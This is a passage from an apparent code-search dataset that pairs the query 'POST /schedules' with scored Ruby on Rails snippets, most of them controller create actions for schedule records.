"3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.51131564", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.51114494", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5107052", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5107052", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5107052", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.51055247", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5102995", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.50979155", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50949734", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5091706", "text": "def add_callbacks(base); end", "title": "" } ]
f89acf4b0074cf3dc131e140a1ece988
POST /schedules POST /schedules.json
[ { "docid": "242fcd086ac2e2affb9cb004cf3e6c27", "score": "0.64725375", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n # @schedule.start_time = Time.zone.parse(params[:schedule][:start_time])\n # @schedule.stop_time = Time.zone.parse(params[:schedule][:stop_time])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "edc9ba856d180fd3f81fe90f9c480c69", "score": "0.7559787", "text": "def schedule(params = {})\n post @endpoint, params\n end", "title": "" }, { "docid": "9913b3051d546a9bbf65f4c844850412", "score": "0.74831474", "text": "def schedules\n res = request('schedules')\n res.map { |schedule| Schedule.new(schedule) }\n end", "title": "" }, { "docid": "589740a86f4af51f3004edd516c70d76", "score": "0.74679464", "text": "def schedule(params = {})\n post @endpoint, params\n end", "title": "" }, { "docid": "e86ead3f0a56e5e57600d2c82b7c8d2b", "score": "0.74567884", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n if @schedule.save\n render json: @schedule, status: :created, location: @schedule\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "25effdd7de4d30470b3db5a70f929067", "score": "0.74094933", "text": "def create\n @schedule = Schedule.new(schedule_params)\n if @schedule.save\n render json: @schedule\n else\n render json: @schedule.errors\n end\n end", "title": "" }, { "docid": "160825d998b69fe3e606088d4ab35622", "score": "0.73595446", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n if @schedule.save\n render json: @schedule, status: :created, location: @schedule\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6274fc3ed68a73b3c0362898a758f3f8", "score": "0.73219633", "text": "def create\n \n params[:days] = params[:days].to_json\n params[:schedule][:days] = params[:days]\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n @user = User.find(@schedule.user_id)\n ScheduleMailer.create_schedule(@schedule, @user).deliver_now\n format.html { redirect_to scheduler_schedules_path(user_id: @user.id), notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68609c156ca4796263f427538e4f268a", "score": "0.7272213", "text": "def create\n @route_schedule = RouteSchedule.new(route_schedule_params)\n\n if @route_schedule.save\n render json: @route_schedule, status: :created\n else\n render json: @route_schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "11e01314885a59a7ccd1b12ec7752fc0", "score": "0.71688753", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to schedules_path, notice}#: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8db2251fb79f4d5ac410eeb2666a3524", "score": "0.7126205", "text": "def create\n @schedule = Schedule.create name: 'New Schedule'\n\n render json: @schedule.as_json\n end", "title": "" }, { "docid": "a87cfaaedcc8b88b6171f272621e9f1c", "score": "0.7116874", "text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f39645749eb9f999839134a46e95c362", "score": "0.7116119", "text": "def create\n @schedule = Schedule.create( name: 'New Schedule' )\n\n render json: @schedule.as_json\n end", "title": "" }, { "docid": "67daca28b0b9414f53e2e501f6a43764", "score": "0.7112817", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "433d0bdfea23eeb321813f18b9754d83", "score": "0.70837855", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e056663b431870396ad535bae37bee24", "score": "0.7069208", "text": "def schedule(name, data, schedule)\n puts \"Scheduling #{name}...\"\n raise \"Schedule must be a hash.\" if !schedule.is_a? Hash\n hash_to_send = {}\n schedules = []\n schedule[\"payload\"] = data.to_json\n schedule[\"name\"] = name unless schedule[\"name\"]\n schedule[\"code_name\"] = name unless schedule[\"code_name\"]\n schedules << schedule\n hash_to_send[\"schedules\"] = schedules\n add_sw_params(hash_to_send)\n# puts ' about to send ' + hash_to_send.inspect\n uri = project_url_prefix(get_project_id(data)) + \"schedules\"\n ret = post(uri, hash_to_send)\n ret\n end", "title": "" }, { "docid": "d7b1952cccbbb554e8441ab383fd5341", "score": "0.7064489", "text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: \"Schedule was successfully created.\" }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b75275f454724558416bbda928bdf26", "score": "0.70563847", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "441af517794bde107ed5ae55af24ec96", "score": "0.7023816", "text": "def create\n @schedule = current_user.schedules.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to dashboard_path, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8216dab2452612e7ce1897fb6250d859", "score": "0.7011751", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n\t\t\t\tformat.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n\t\t\t\treturn\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abbcf22caa70a134c9a2dbefbdbead79", "score": "0.7006702", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n for j in 0...@schedule.time_end.to_i-@schedule.time_begin.to_i\n if j%900==0\n Routine.create(polyclinic_id: @schedule.polyclinic_id, post_id: @schedule.post_id, schedule_id: @schedule.id, timing: @schedule.time_begin+j)\n end\n end\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "883ed28e876b70975967b5c27504fe9a", "score": "0.7004936", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: \"Schedule was successfully created.\" }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88fc055d3978256a9b0b980c6cef3e70", "score": "0.69736123", "text": "def create\n @schedule = current_user.schedules.new(schedule_params)\n \n respond_to do |format|\n if @schedule.save\n @schedule.update_weeks\n @schedule.update_days\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59ee53b18fff9c233b33b5da1e9c9cc9", "score": "0.6967815", "text": "def create\n @schedule = Schedule.new(schedule_params)\n \n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n # format.json { render :show, status: :created, location: @schedule }\n format.json { return render json: { data: @schedule, fandom: @schedule.fandom, status: :created} }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1afd180f7dfdb8ee9efb0d51fef2215", "score": "0.6942274", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render action: 'show', status: :created, location: @schedule }\n else\n format.html { render action: 'new' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b871dbc028ce9799f7db428ff60dbd87", "score": "0.6912672", "text": "def create\n @resource_schedule = ResourceSchedule.new(params[:resource_schedule])\n\n respond_to do |format|\n if @resource_schedule.save\n format.html { redirect_to @resource_schedule, notice: 'Resource schedule was successfully created.' }\n format.json { render json: @resource_schedule, status: :created, location: @resource_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42aa782045c42e8bd77eebc21b0777ad", "score": "0.69112", "text": "def create\n\n\t\tparams = schedule_params\n\t\tschdate = Date.strptime(schedule_params['schedule_date'], '%m/%d/%Y')\n\t\tsongids = JSON.parse(params['song_order'])\n\t\t#params.delete('song_ids')\n\t\tparams['schedule_date'] = schdate\n\t\tparams['song_order'] = songids\n\n\t\tnewschedule = { :name => params['name'], :schedule_type => params['schedule_type'], :schedule_date => schdate, :notes => params['notes'], :song_order => params['song_order']}\n\t\t@schedule = Schedule.new(newschedule)\n\n\t\trespond_to do |format|\n\t\t\tif @schedule.save\n\n\t\t\t\t@schedule.songs << Song.find(songids)\n\n\t\t\t\tformat.html { redirect_to schedules_url, notice: 'Schedule was successfully created!' }\n\t\t\t\tformat.json { render :show, status: :created, location: @schedule }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @schedule.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "9ce838eb1f74789392c242701ac2b727", "score": "0.6905011", "text": "def create\n @train_schedule = TrainSchedule.new(train_schedule_params)\n @train_schedule.days = params[:train_schedule][:days]\n respond_to do |format|\n if @train_schedule.save\n format.json { render json: {success: true}, status: :created, location: @train_schedule }\n else\n format.json { render json: @train_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "108c72f6e1b5ca5299f5e0add8174f4b", "score": "0.6880278", "text": "def create\n @schedule = Schedule.new\n @schedule.mon[0] = params[:mon]\n @schedule.tue[0] = params[:tue]\n @schedule.wed[0] = params[:wed]\n @schedule.thu[0] = params[:thu]\n @schedule.fri[0] = params[:fri]\n @schedule.sat[0] = params[:sat]\n @schedule.sun[0] = params[:sun]\n \n @schedule.user_id = current_user.id\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3783b9b350e5fd134fe2c887a4ba81a1", "score": "0.6857975", "text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to calendar_path, notice: 'スケジュールが作成されました。' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0e1f12bc5190d5250d71def209005eb", "score": "0.6818574", "text": "def create\n @task_schedule = TaskSchedule.new(task_schedule_params)\n\n respond_to do |format|\n if @task_schedule.save\n format.html { redirect_to @task_schedule, notice: 'Task schedule was successfully created.' }\n format.json { render :show, status: :created, location: @task_schedule }\n else\n format.html { render :new }\n format.json { render json: @task_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ecce61ff8b8d3135a7ff223555a4ad11", "score": "0.68185526", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to new_schedule_path, notice: 'スケジュールが作成されました。' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fcc5a398241a7be12225995de1755ffe", "score": "0.67989594", "text": "def schedules\n result = {}\n @location = Location.find(params[:location_id])\n start_date = params[:start_date] ? Date.parse(params[:start_date]) : Date.today\n end_date = params[:end_date] ? Date.parse(params[:end_date]) : Date.today\n (start_date..end_date).each do |date|\n result[date] = @location.schedule_at(date)\n end\n render :json => result\n end", "title": "" }, { "docid": "e1554471ae2d0fc4cd1ac30bc32d565e", "score": "0.67814815", "text": "def create_schedule(options = {})\n params = { query: { overflow: options.fetch(:overflow, false) }}\n params[:schedule] = {\n name: options[:name],\n type: \"schedule\",\n time_zone: options.fetch(:time_zone, \"UTC\"),\n description: options[:description],\n schedule_layers: options[:schedule_layers],\n restrictions: options[:restrictions]\n }\n response = post \"/schedules\", options.merge(params)\n response[:schedule]\n end", "title": "" }, { "docid": "700d16cd4a86d8020a257ec8d4f0d581", "score": "0.67811257", "text": "def create\n response = EventSourced::Meeting.schedule(schedule_meeting_params.to_h.symbolize_keys)\n\n if response.success?\n render :json => { :meeting => response.data }\n else\n render :json => { :errors => response.errors }\n end\n end", "title": "" }, { "docid": "82e1f4c9fceda425b5126c90125fbf5a", "score": "0.6762215", "text": "def create\n @classroom_schedule = Classroom::Schedule.new(params[:classroom_schedule])\n\n respond_to do |format|\n if @classroom_schedule.save\n format.html { redirect_to classroom_schedules_path }\n format.json { render json: @classroom_schedule, status: :created, location: @classroom_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classroom_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4872d32915c3e82006abc7ccd415404", "score": "0.6760879", "text": "def index\n schedules = get_all_schedules\n\n response = {\n schedules: schedules\n }\n\n respond_to do |format|\n format.json { render :json => response}\n end\n end", "title": "" }, { "docid": "14ff17e2f83cf4fcd71deda46f9a948a", "score": "0.67485094", "text": "def create_schedule(schedule, options={})\n raise(ArgumentError, \"schedule has the wrong type\") unless schedule.is_a?(Invoicexpress::Models::Schedule)\n\n params = { :klass => Invoicexpress::Models::Schedule, :body => schedule }\n post(\"schedules.xml\", params.merge(options))\n end", "title": "" }, { "docid": "2051944cbed9c635bd128726ab581f4a", "score": "0.6736146", "text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule.workout, notice: t('.create.notice') }\n format.json { render :show, status: :created, location: @schedule.workout }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb20554c0ed02cf2ee45af7a97982c87", "score": "0.67267513", "text": "def create\n # @schedule = Schedule.new\n # i = 0\n # for i in 0 .. 13 \n # @schedule.mon[i] = params[:mon]\n # @schedule.tue[i] = params[:tue]\n # @schedule.wed[i] = params[:wed]\n # @schedule.thu[i] = params[:thu]\n # @schedule.fri[i] = params[:fri]\n # @schedule.sat[i] = params[:sat]\n # @schedule.sun[i] = params[:sun]\n # @schedule.user_id = current_user.id\n # end\n\n # respond_to do |format|\n # if @schedule.save\n # format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n # format.json { render :show, status: :created, location: @schedule }\n # else\n # format.html { render :new }\n # format.json { render json: @schedule.errors, status: :unprocessable_entity }\n # end\n end", "title": "" }, { "docid": "4fe6cea02ed7aa6d223ad202bc81c7b6", "score": "0.6683976", "text": "def create\n @schedule = Schedule.new(schedule_params)\n @schedule.user = current_user\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b28cc8fcbed549a988197f06740c943", "score": "0.6683867", "text": "def create\n authorize_action_for Schedule\n @schedule = current_user.schedules.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a72e70414dd4d6d6f2a309c0cc6c89c", "score": "0.66801137", "text": "def create\n\n # must remember which user built the schedule\n @schedule = @current_user.schedules.build(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n flash[:notice] = 'Schedule was successfully created.'\n format.html { redirect_to(@schedule) }\n format.xml { render :xml => @schedule, :status => :created, :location => @schedule }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf7f0ab885100ecec3e29de3750ff6f7", "score": "0.6674514", "text": "def create\n @weeks_schedule = WeeksSchedule.new(weeks_schedule_params)\n\n respond_to do |format|\n if @weeks_schedule.save\n format.html { redirect_to @weeks_schedule, notice: 'Weeks schedule was successfully created.' }\n format.json { render :show, status: :created, location: @weeks_schedule }\n else\n format.html { render :new }\n format.json { render json: @weeks_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7081a4766308af2606fe0c685b3751f", "score": "0.66704136", "text": "def create\n authorize! :update, @section\n schedule_params = ActiveSupport::JSON.decode(params[:weekly_schedule])\n start_date = schedule_params[\"date\"]\n @weekly_schedule = WeeklySchedule.find_by_section_id_and_date(\n @section.id,\n start_date\n ) || WeeklySchedule.create(\n :section_id => @section.id,\n :date => start_date\n )\n schedule_attributes = {\n :assignments_attributes => schedule_params[\"assignments\"] || [],\n :shift_week_notes_attributes => schedule_params[\"shift_week_notes_attributes\"] || [],\n :is_published => schedule_params[\"is_published\"] || 0\n }\n @weekly_schedule.update_attributes(schedule_attributes)\n unless @weekly_schedule.errors.any?\n # used to provide an accurate last update date\n @weekly_schedule.touch\n # ensures that relations are fresh for serialization\n @weekly_schedule = WeeklySchedule.find(@weekly_schedule.id)\n end\n render :json => @weekly_schedule.to_json(:only_delta_attributes => true)\n end", "title": "" }, { "docid": "ef204957bceec915d9083e4f3c36aadc", "score": "0.6669919", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n start_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ params[:schedule][:start_time])\n end_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ params[:schedule][:end_time])\n @schedule.start_time = start_time\n @schedule.end_time = end_time\n @schedule.created_by = current_user.id\n\n respond_to do |format|\n if @schedule.save\n\n #add meetings\n if params[:meeting] and params[:meeting].length != 0\n params[:meeting].each do |meeting_item|\n meeting = Meeting.new()\n meeting.client_id = meeting_item[1][:id]\n meeting.meeting_duration = meeting_item[1][:meeting_duration]\n meeting.meeting_time = DateTime.parse(params[:schedule][:schedule_date] +' '+ meeting_item[1][:meeting_time])\n meeting.schedule = @schedule\n meeting.save\n end\n end\n\n\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23f2a5392a7868f4df14068bb6e2b6d1", "score": "0.6662049", "text": "def create\n @scheduled = Scheduled.new(scheduled_params)\n\n respond_to do |format|\n if @scheduled.save\n format.html { redirect_to @scheduled, notice: 'Scheduled was successfully created.' }\n format.json { render :show, status: :created, location: @scheduled }\n else\n format.html { render :new }\n format.json { render json: @scheduled.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4ffe6fb07291bf417e5d291166ec2d7", "score": 